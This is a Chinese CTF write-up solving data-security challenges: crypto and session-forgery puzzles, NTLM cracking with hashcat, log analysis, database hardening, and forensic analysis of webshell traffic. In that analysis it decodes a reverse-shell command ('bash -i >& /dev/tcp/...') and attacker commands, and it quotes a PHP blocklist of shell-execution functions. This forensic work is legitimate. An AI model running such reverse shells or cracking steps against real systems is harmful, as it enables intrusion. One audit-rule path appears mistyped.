文章目录


在这里插入图片描述

需要赛题附件的师傅,可以联系我发送赛题附件。


01.【数据加密和解密】简单的数据解密

在这里插入图片描述
维吉尼亚解密,密文和 Key 页面上都给了

02.【数据加密和解密】用户session算法解密

在这里插入图片描述
在这里插入图片描述

对比不难发现,用户A用户Bsession有共同之处,前13个字符和后12个字符都是相同的,只有中间部分不同,尝试 base64 解码发现能成功解码:

PS C:\Users\Administrator> php -r "var_dump(base64_decode('eHZodTExMQ=='));"
Command line code:1:
string(7) "xvhu111"
PS C:\Users\Administrator> php -r "var_dump(base64_decode('ZWVodTIyMg=='));"
Command line code:1:
string(7) "eehu222"

再对比两个用户的用户名:

username=user111&password=admin%40123
session=ADLYWIJuh7Dap eHZodTExMQ== 3eVssA21qmLL
base64_decode('eHZodTExMQ==') == 'xvhu111'

username=bber222&password=root%40123
session=ADLYWIJuh7Dap ZWVodTIyMg== 3eVssA21qmLL
base64_decode('ZWVodTIyMg==') == 'eehu222'

不难发现进行了字母的移位(类似凯撒,古典密码的一种),直接ROT13 Brute Force爆破一下即可发现 位移量(明文->密文)

在这里插入图片描述
在这里插入图片描述

以此类推用户sysadmin登录时,生成的session值为:

在这里插入图片描述

>>> import hashlib
>>> from base64 import *
>>> 'session=ADLYWIJuh7Dap{}3eVssA21qmLL'.format(b64encode(b'vbvdgplq').decode())
'session=ADLYWIJuh7DapdmJ2ZGdwbHE==3eVssA21qmLL'
>>> 'flag{{{}}}'.format(hashlib.md5('ADLYWIJuh7DapdmJ2ZGdwbHE==3eVssA21qmLL'.encode()).hexdigest())
'flag{a4337de9d1a20a1c28f0fa1928f65ce5}'

03.【数据加密和解密】文件名称算法逆推

在这里插入图片描述
submit.php

<?php

function generateStringFromTime($timeStr, $length = 16) {
    $hash = hash('sha256', $timeStr);
    $result = substr($hash, 0, $length);
    return $result;
}


if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $full_time = date('Y-m-d-H-i-s');
    $time = date('Y-m-d-H-i');
    $generatedString = generateStringFromTime($full_time);


    $filename = '/tmp/' . $generatedString;

    $content = $_POST['HIJKLMN'];

    if (empty($content)) {
        die(render_template('error.html', ['message' => '文件内容不能为空!']));
    }


    $forbidden_patterns = [
        '/shell/i',
        '/exec/i',
        '/system/i',
        '/passthru/i',
        '/popen/i',
        '/proc_open/i',
        '/eval/i',
        '/file_put_contents/i',
        '/`/i',
        '/assert/i',
        '/base64_decode/i',
        '/curl_exec/i',
        '/curl_multi_exec/i',
        '/parse_ini_file/i',
        '/show_source/i',
        '/array/i',
        '/func/i',
        '/uasort/i',
        '/p?f?open/i',
        '/preg_replace/i',
        '/create_function/i',
        '/include|require/i'
    ];

    foreach ($forbidden_patterns as $pattern) {
        if (preg_match($pattern, $content)) {
            die(render_template('error.html', ['message' => '检测到敏感词,禁止提交!']));
        }
    }


    file_put_contents($filename, $content);

    $log_entry = "$time 时间提交了一条内容<br> \n";
    file_put_contents('/tmp/time.txt', $log_entry, FILE_APPEND);

    echo render_template('submit_success.html', ['time' => $time]);
}

function render_template($template, $vars = []) {
    extract($vars);
    ob_start();
    include $template;
    return ob_get_clean();
}
?>
  • time.txt2024-10-24-06-28 时间提交了一条内容<br>
  • 17521ea4c256a3fa

这题很明显就是爆破时间戳(格式:Y-m-d-H-i-s,秒级)

import hashlib

for s in range(60):
	full_time = "2024-10-24-06-28-{:02d}".format(s)
	hash_code = hashlib.sha256(full_time.encode()).hexdigest()[0:16]
	if hash_code == "17521ea4c256a3fa":
		print(full_time, hashlib.sha256(full_time.encode()).hexdigest())
		print("flag{{{}}}".format(hashlib.md5(full_time.encode()).hexdigest()))
2024-10-24-06-28-45 17521ea4c256a3fafc8e315446f9897f7b58c38140f214c287e6a523653cfb82
flag{2eccb55572fa9f1b6e64ddccdfdd48f2}

04.【数据加密和解密】数据安全加密分析

在这里插入图片描述
encrypted.py

from Crypto.Util.number import bytes_to_long, long_to_bytes, getPrime
import random
from flag import flag

flag = bytes(flag, encoding = "utf8")
flag_long = bytes_to_long(flag)


a = getPrime(512)
b = getPrime(512)
c = random.randint(1, 100)

x = (a + c)  
y = (b - c)  
z = (a * b) 


def encrypt(flag_long, a, b, c):
    encrypted = (flag_long + a + b + c) % (1 << 256)
    return encrypted


encrypted_flag = encrypt(flag_long, a, b, c)


print("encrypted_flag =", encrypted_flag)
print("x =", x)  # a + c
print("y =", y)  # b - c
print("z =", z)  # a * b
#encrypted_flag = 71188484801268894455989947643958887296940941974559099430184067928520738670125
#x = 10286128769204966812517719087143607697942337644189517337451516448319120792097108026166455636841422795580606104927217673199038530223103954825733154790865506
#y = 11072401808095397575393343734581050401834195748445891645167515290568651298170047237766436438816844451462598020755943924291397864303001302069476747933393904
#z = 113892150782447161002267062668855326587830795934148510039051446313211558210043183796014938753522849349442297359083414290484241879607693815529730254433625690778485831427238247556449010205032759874966734228750696125469448464507477785394426354003973339845378405170325704181779817796778992598944553255519073954221

简单的密码题,but 不会。。。

05.【数据加密和解密】图片和加密

在这里插入图片描述
在这里插入图片描述

图片附加了一个 RAR 压缩包,提取出来,解压得到:

猜测Administrator:500:44EFCE164AB921CAAAD3B435B51404EE:878D8014606CDA29677A44EFA1353FC7的加密方式,
解密878D8014606CDA29677A44EFA1353FC7  解密后的明文即为flag信息

典型的 Windows LM/NTLM 哈希格式,hashcat直接爆破即可:

.\hashcat.exe -m 1000 '878D8014606CDA29677A44EFA1353FC7' ..\..\Penet\Dictionary\rockyou.txt

在这里插入图片描述

>>> import hashlib
>>> "flag{{{}}}".format(hashlib.md5('secret'.encode()).hexdigest())
'flag{5ebe2294ecd0e0f08eab7690d2a6ee69}'

06.【数据分析】api接口分析

在这里插入图片描述
python_api.py

#!/usr/bin/python
# -*- coding: utf-8 -*-
# @Author: Theon
# @Version: 1.0.0
# @Info:
import socket
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Accounts import accounts

AES_KEY = b'vndchwxkfqatkhnt'  


def aes_encrypt(data):
    cipher = AES.new(AES_KEY, AES.MODE_CBC, iv=b'rrwynwinvzlogwmy')  
    ct_bytes = cipher.encrypt(pad(data.encode(), AES.block_size))  
    ct = base64.b64encode(ct_bytes).decode('utf-8')  
    return ct


def handle_client(client_socket):
    hello_data = 'Connect Success Input name \n'
    client_socket.send(hello_data.encode('utf-8'))

    account = client_socket.recv(1024).decode('utf-8').strip()

    phone_number = accounts.get(account)

    if phone_number:
        phone_number_b64 = base64.b64encode(phone_number.encode()).decode('utf-8')

        encrypted_phone_number = aes_encrypt(phone_number_b64)
        response = f'{encrypted_phone_number} \n'
    else:
        response = 'Account not found.'

    client_socket.send(response.encode('utf-8'))
    client_socket.close()


def main():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind(('0.0.0.0', 8006))
    server.listen(5)
    print('Server listening on port 8006...')

    while True:
        client_socket, addr = server.accept()
        print(f'Accepted connection from {addr}')
        handle_client(client_socket)



if __name__ == '__main__':
    main()

无复现环境,仅留存题目内容

07.【数据分析】数据窃取程序分析

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

>>> import hashlib
>>> "flag{{{}}}".format(hashlib.md5('10.12.7.51'.encode()).hexdigest())
'flag{2bc4ef8af37fd2802fda52f682c24c66}'

08.【数据分析】安全风险数据识别与分析

在这里插入图片描述

awk '{split($7, a, "/"); print "/"a[2]}' access.log | sort | uniq -c | sort -nr | head -20

在这里插入图片描述

>>> "flag{{{}}}".format(hashlib.md5('/services'.encode()).hexdigest())
'flag{8d10e3f5fbf45d7033bf050f23b7a6ed}'

09.【数据分析】密码安全等级画像分析

在这里插入图片描述
简单的筛选,注意不要重复匹配即可

import re
import hashlib


level_count = {1:0, 2:0, 3:0, 4:0}
regex_level1 = re.compile(r"^\d+$")
regex_level2 = re.compile(r"^(?=.*[a-z])(?=.*\d)[a-z\d]+$")
regex_level3 = re.compile(r"^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)[A-Za-z\d]+$")
regex_level4 = re.compile(r"^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[\W_])[A-Za-z\d\W_]+$")
with open("C:\\Users\\Administrator\\Downloads\\passwd.dbcd", 'r') as f:
    lines = f.readlines()
for line in lines:
    passwd = line.strip()
    if regex_level1.match(passwd):
        level_count[1] += 1
    elif regex_level2.match(passwd):
        level_count[2] += 1
    elif regex_level3.match(passwd):
        level_count[3] += 1
    elif regex_level4.match(passwd):
        level_count[4] += 1
    else:
        print(passwd)
level_count_result = str(level_count).replace(" ","")
print("[+]: {}".format(level_count_result))
print("[+]: flag{{{}}}".format(hashlib.md5(level_count_result.encode()).hexdigest()))

在这里插入图片描述

10.【数据分析】敏感数据识别

在这里插入图片描述

import re
import hashlib


datas_count = {"Phone":0,"IPv4":0,"Email":0}
regex_phone = re.compile(r"(?<!\d)1[3-9]\d{9}(?!\d)")
regex_ip = re.compile(r"\b(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}\b")
regex_email = re.compile(r"\b[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}\b")
with open("C:\\Users\\Administrator\\Downloads\\datas.dbcd", 'r') as f:
    lines = f.readlines()
for line in lines:
    data = line.strip()
    if regex_phone.match(data):
        datas_count["Phone"] += 1
    elif regex_ip.match(data):
        datas_count["IPv4"] += 1
    elif regex_email.match(data):
        datas_count["Email"] += 1
    else:
        print(data)
datas_count_result = str(datas_count).replace(" ","").replace("'", "")
print("[+]: {}".format(datas_count_result))
print("[+]: flag{{{}}}".format(hashlib.md5(datas_count_result.encode()).hexdigest()))

在这里插入图片描述

11.【数据安全管理】redis访问加固

在这里插入图片描述
编辑redis配置文件:/etc/redis/redis.conf

requirepass 7XzE56xtemVJYssg

重启redis

systemctl restart redis
redis-server /path/to/redis.conf

12.【数据安全管理】数据库安全加固

在这里插入图片描述
第一种方法:

# 查看当前密码策略
SHOW VARIABLES LIKE 'validate_password%';

# 设置密码最小长度为 12
SET GLOBAL validate_password.length = 12;

# 查看当前插件是否启用
SHOW PLUGINS;
# 确认 validate_password 插件是否为 ACTIVE 状态。如果未启用,则需要执行:
INSTALL PLUGIN validate_password SONAME 'validate_password.so';

第二种方法:
编辑配置文件(通常在 /etc/my.cnf/etc/mysql/my.cnf):
添加或修改以下内容(放在 [mysqld] 段中):

[mysqld]
validate_password.length = 12

然后重启 mysql

13.【数据安全管理】数据库网络连接安全

在这里插入图片描述
要在 Linux 本地部署的 PostgreSQL 数据库 中:

  • 全局最大连接数 设置为 2100
  • 普通用户 zwxa 的最大连接数 限制为 1500

需要分别修改 PostgreSQL 的配置文件和用户属性。以下是完整步骤。

步骤一:修改 PostgreSQL 实例的最大连接数(限制为 2100)

  1. 打开 PostgreSQL 配置文件 postgresql.conf

路径可能在:

/etc/postgresql/<version>/main/postgresql.conf       # Debian/Ubuntu
/var/lib/pgsql/data/postgresql.conf                   # RHEL/CentOS
sudo nano /path/to/postgresql.conf
  1. 查找并修改以下参数:
max_connections = 2100

如果该行被注释(以 # 开头),请取消注释。

  1. 保存并退出,重启 PostgreSQL 服务:
sudo systemctl restart postgresql

步骤二:设置用户 zwxa 的最大连接数为 1500

  1. 登录 PostgreSQL:
sudo -u postgres psql
  1. 设置用户连接数限制:
ALTER ROLE zwxa CONNECTION LIMIT 1500;
  1. 查看确认:
\du

输出中将看到类似:

 Role name | Attributes                       | Member of
-----------+----------------------------------+-----------
 zwxa      | Connection limit: 1500           | {}

补充说明

  • max_connections 是 PostgreSQL 实例的硬上限;
  • 用户连接数限制不能超过 max_connections,否则无法生效;
  • 如果有连接池工具(如 pgBouncer),也要一并考虑连接数;

效果验证

你可以运行以下 SQL 验证:

SHOW max_connections;         -- 应为 2100
SELECT rolname, rolconnlimit FROM pg_roles WHERE rolname = 'zwxa';

14.【数据安全管理】数据库用户安全

在这里插入图片描述
按以下步骤在本地部署的 PostgreSQL 中完成所需设置:

首先,使用 PostgreSQL 的系统用户登录数据库:

sudo -u postgres psql

接着执行以下 SQL 命令:

-- 创建一个新的超级用户 admin,设置密码为 Admin@202411
CREATE ROLE admin WITH LOGIN SUPERUSER PASSWORD 'Admin@202411';

-- 禁用默认超级用户(通常是 postgres)
ALTER ROLE postgres NOLOGIN;

这样配置后:

  • admin 用户拥有超级权限,密码为 Admin@202411
  • 默认的 postgres 用户将无法登录,除非你显式重新启用;
  • 数据库权限安全性得到提升,避免默认用户名被暴力猜测。

可以通过以下命令验证角色状态:

\du

输出会显示:

  • admin 拥有 Superuser 权限,LoginYes
  • postgres 权限为 Superuser,但 LoginNo

15.【数据安全管理】数据库密码安全

在这里插入图片描述
要提高本地部署的 PostgreSQL 服务的密码安全性,可以将默认密码加密方式改为 scram-sha-256,并启用 passwordcheck 插件来检查密码复杂度。

首先,编辑 PostgreSQL 的配置文件 postgresql.conf,一般路径为 /etc/postgresql/<版本号>/main/postgresql.conf(Ubuntu/Debian)或 /var/lib/pgsql/data/postgresql.conf(RHEL/CentOS)。打开文件后,将如下两项进行配置:

password_encryption = scram-sha-256
shared_preload_libraries = 'passwordcheck'

如果 shared_preload_libraries 已经有其他值,使用英文逗号分隔即可。例如:

shared_preload_libraries = 'pg_stat_statements,passwordcheck'

保存后,重启 PostgreSQL 服务以使配置生效:

sudo systemctl restart postgresql

确保系统安装了 passwordcheck 插件,如果未安装,在 Debian/Ubuntu 上可以运行:

sudo apt install postgresql-contrib

在 RedHat/CentOS 上使用:

sudo dnf install postgresql-contrib

重启后登录数据库,执行 SHOW password_encryption;,确认当前的默认加密方式是否为 scram-sha-256

之后,所有新设置的用户密码将使用 scram-sha-256 算法进行加密,而 passwordcheck 插件会自动拦截过于简单或不合规的密码(如用户名相同、过短等),从而提升密码复杂度控制的安全性。原有的 md5 密码用户不会自动升级,只有在密码重设时才会重新加密为 scram-sha-256

16.【敏感数据监控】数据库敏感信息

在这里插入图片描述
在这里插入图片描述

>>> import hashlib
>>> hashlib.md5('sys1233'.encode()).hexdigest()
'f02849f9e66107447f84f5c329f84a66'
>>> "flag{{{}}}".format(hashlib.md5('sys1233'.encode()).hexdigest())
'flag{f02849f9e66107447f84f5c329f84a66}'

17.【敏感数据监控】公网秘钥敏感信息

在这里插入图片描述
在这里插入图片描述

简单的将 A 和 B 这两个列表的所有字符串元素拼接为一个完整的字符串。

import base64
import hashlib


A = ["N", "j", "c", "0", "Z", "W", "Y", "1", "M", "j", "M", "t",
                    "O", "W", "Q", "3", "Y", "y", "0", "4", "M", "z", "M", "y",
                    "L", "W", "I", "1", "N", "G", "M", "t", "Y", "m", "N", "5",
                    "Y", "W", "Y", "1", "Z", "m", "Z", "l", "Y", "j", "Z", "l", "N"]
B = ["g", "=", "="]
secretkey = ''.join(map(lambda x: x, A+B))
print("[+]: {}".format(secretkey))
secretkey = base64.b64decode(secretkey).decode('utf-8')
print("[+]: {}".format(secretkey))
print("[+]: flag{{{}}}".format(hashlib.md5(secretkey.encode()).hexdigest()))
[+]: Njc0ZWY1MjMtOWQ3Yy04MzMyLWI1NGMtYmN5YWY1ZmZlYjZlNg==
[+]: 674ef523-9d7c-8332-b54c-bcyaf5ffeb6e6
[+]: flag{13cb32dd803ee12445bdd5ae2ee942be}

18.【敏感数据监控】凭证敏感信息

在这里插入图片描述
在这里插入图片描述

>>> "flag{{{}}}".format(hashlib.md5('91f4e8d70e828f63df0d2d9c0c593f19e0e6f5f5406b88cc4f5be9a53fd4f573'.encode()).hexdigest())
'flag{2f49f9cb23b0049289dcf1adf913c49a}'

19.【敏感数据监控】登录密码敏感信息

在这里插入图片描述
在这里插入图片描述

>>> "flag{{{}}}".format(hashlib.md5('rTgJRRZPehby'.encode()).hexdigest())
'flag{e5cefb1f401b8ef7bbe950be9fc661f7}'

20.【敏感数据监控】ssh私钥敏感信息

在这里插入图片描述
在这里插入图片描述

requirements.txt作为私钥文件

import hashlib

with open('requirements.txt', 'rb') as f:
	file_content = f.read()
	DD = hashlib.md5(file_content).hexdigest()

print("flag{{{}}}".format(DD))
# flag{c1ba1822cc1499ee0fbca19e3b86d8cd}

21.【数据存储安全】文件目录监控

在这里插入图片描述

# 添加对 /usr/share/nginx/html 目录的写入监控规则
auditctl -w /user/share/nginx/html -p w -k nginxs

22.【数据存储安全】数据库备份

在这里插入图片描述

mysqldump -u root -p A@bbc202411 > /var/backup/dbs_backup.sql

23.【数据存储安全】持久化存储

在这里插入图片描述

# 启用 AOF 持久化
appendonly yes

24.【数据存储安全】加密存储

在这里插入图片描述

openssl enc -aes-256-cbc -salt -S 57393464 -k KqEraC5X7Hhw -in /etc/my_config/config.py -out aesconfig.py

在这里插入图片描述

25.【网络数据分析】webshell通信文件分析

在这里插入图片描述

过滤 POST 请求

在这里插入图片描述

冰蝎 PHP 木马

在这里插入图片描述

PS C:\Users\Administrator> php -r "var_dump(md5('20241023.php'));"
Command line code:1:
string(32) "bfd41f21c636b8461c400f05293903c0"

26.【网络数据分析】webshell通信密钥分析

在这里插入图片描述
在这里插入图片描述

PS C:\Users\Administrator> php -r "var_dump(md5('8fc4ea096a8ce2e9'));"
Command line code:1:
string(32) "b17abb69ae4ae4a380b3bea64ef5d9e5"

27.【网络数据分析】webshell通信命令分析

在这里插入图片描述

从第三次 POST 交互 shell 才是手动执行命令的第一条

在这里插入图片描述
解密该包第一次请求

在这里插入图片描述


PS C:\Users\Administrator> php -r "var_dump(base64_decode('Y2QgL3Zhci93d3cvYXBwL3VwbG9hZC87aWQ='));"
Command line code:1:
string(26) "cd /var/www/app/upload/;id"
PS C:\Users\Administrator> php -r "var_dump(md5('cd /var/www/app/upload/;id'));"
Command line code:1:
string(32) "6ffa42576b8e7ab49feaaea90f11cbcb"

这里解密AES-128-ECB也可以使用该网站:http://tools.bugscaner.com/cryptoaes/

28.【网络数据分析】webshell通信中的权限

在这里插入图片描述
上一个问题执行了id,解密上一个问题的请求包对应的响应包的流量即可

在这里插入图片描述

PS C:\Users\Administrator> php -r "var_dump(md5('www-data'));"
Command line code:1:
string(32) "d3234487bb1bc80ee9da6915667ce1f2"

29.【网络数据分析】webshell通信中的文件传输

在这里插入图片描述
tcp.stream eq 9

在这里插入图片描述

PS C:\Users\Administrator> php -r "var_dump(base64_decode(base64_decode('Wm14aFozdGxTSGR3U21kb1lUVmpPRU45')));"
Command line code:1:
string(18) "flag{eHwpJgha5c8C}"

30.【网络数据分析】webshell通信中的敏感数据

在这里插入图片描述
tcp.stream eq 17

在这里插入图片描述

PS C:\Users\Administrator> php -r "var_dump(md5('gnats'));"
Command line code:1:
string(32) "e62a9272689055f936a8d55ef289d2fb"

31.【网络数据分析】webshell通信中的恶意操作

在这里插入图片描述

tcp.stream eq 13

在这里插入图片描述

PS C:\Users\Administrator> php -r "var_dump(base64_decode('Y2QgL3Zhci90bXA7YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4yMS4zLzk4MTEgMD4mMQ=='));"
Command line code:1:
string(52) "cd /var/tmp;bash -i >& /dev/tcp/10.10.21.3/9811 0>&1"
PS C:\Users\Administrator> php -r "var_dump(md5('10.10.21.3'));"
Command line code:1:
string(32) "22cdd370b8ccc5b852dfe39256dd0cf2"
Logo

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。

更多推荐